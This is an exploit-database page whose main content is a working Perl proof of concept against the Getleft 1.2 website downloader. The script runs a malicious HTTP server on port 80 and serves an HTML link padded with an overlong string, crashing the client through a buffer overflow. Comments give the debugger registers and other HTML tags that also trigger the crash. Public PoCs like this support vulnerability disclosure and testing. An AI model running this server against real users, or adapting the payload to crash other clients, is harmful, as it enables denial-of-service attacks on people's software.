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Getleft 1.2 Buffer Overflow
Getleft 1.2 Buffer Overflow Po
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`#!/usr/bin/perl
#
# Getleft v1.2.0.0 DoS PoC
# Author: Koshi
#
# Application: Getleft v1.2
# Publisher: Andres Garcia ( http://personal1.iddeo.es/andresgarci/getleft/english/index.html )
# Description: Website Downloader, for such things as offline browsing.
# Tested On: Windows XP SP2
#
# Module: Getleft.exe
# eax=00c5f170 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00c5f170
# eip=004863eb esp=0022d9b0 ebp=010b4870 iopl=0 nv up ei pl nz na po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
#
# Getleft+0x863eb:
# 004863eb 8b06 mov eax,dword ptr [esi] ds:0023:00000000=????????
#
# <embed src=>, <img src=>, <script src=>, <body background=>
# Plenty of other tags will work as well. I'm not so sure about
# code execution, I'll have to try a few other things.
#
use IO::Socket;
my $body = "<a href=\x22/abcd.jpg\x22>" ."A"x1950 ."</a>";
my $resp = "".
"HTTP/1.1 200 OK\r\n".
"Server: Apache\r\n".
"Date: Mon, 22 Dec 2008 21:50:46 GMT\r\n".
"Content-Type: text/html\r\n".
"Accept-Ranges: bytes\r\n".
"Last-Modified: Mon, 22 Dec 2008 21:45:46 GMT\r\n".
"Content-Length: " .length($body) ."\r\n".
"Connection: close\r\n\r\n".
"$body\r\n";
for ($i = 2; $i >= 1; $i--) {
my $sock = new IO::Socket::INET (LocalPort => '80',
Proto => 'tcp',
Listen => 1,
Reuse => 1, );
print "Listening...\n";
my $new_sock = $sock->accept();
print "Connected...\n";
my $sock_addr = recv($new_sock,$msg,190,0);
print "Sending ...\n";
print $new_sock "$resp";
print "Sent!\n";
close($sock);
print "Closed.\r\n\r\n";
}
`
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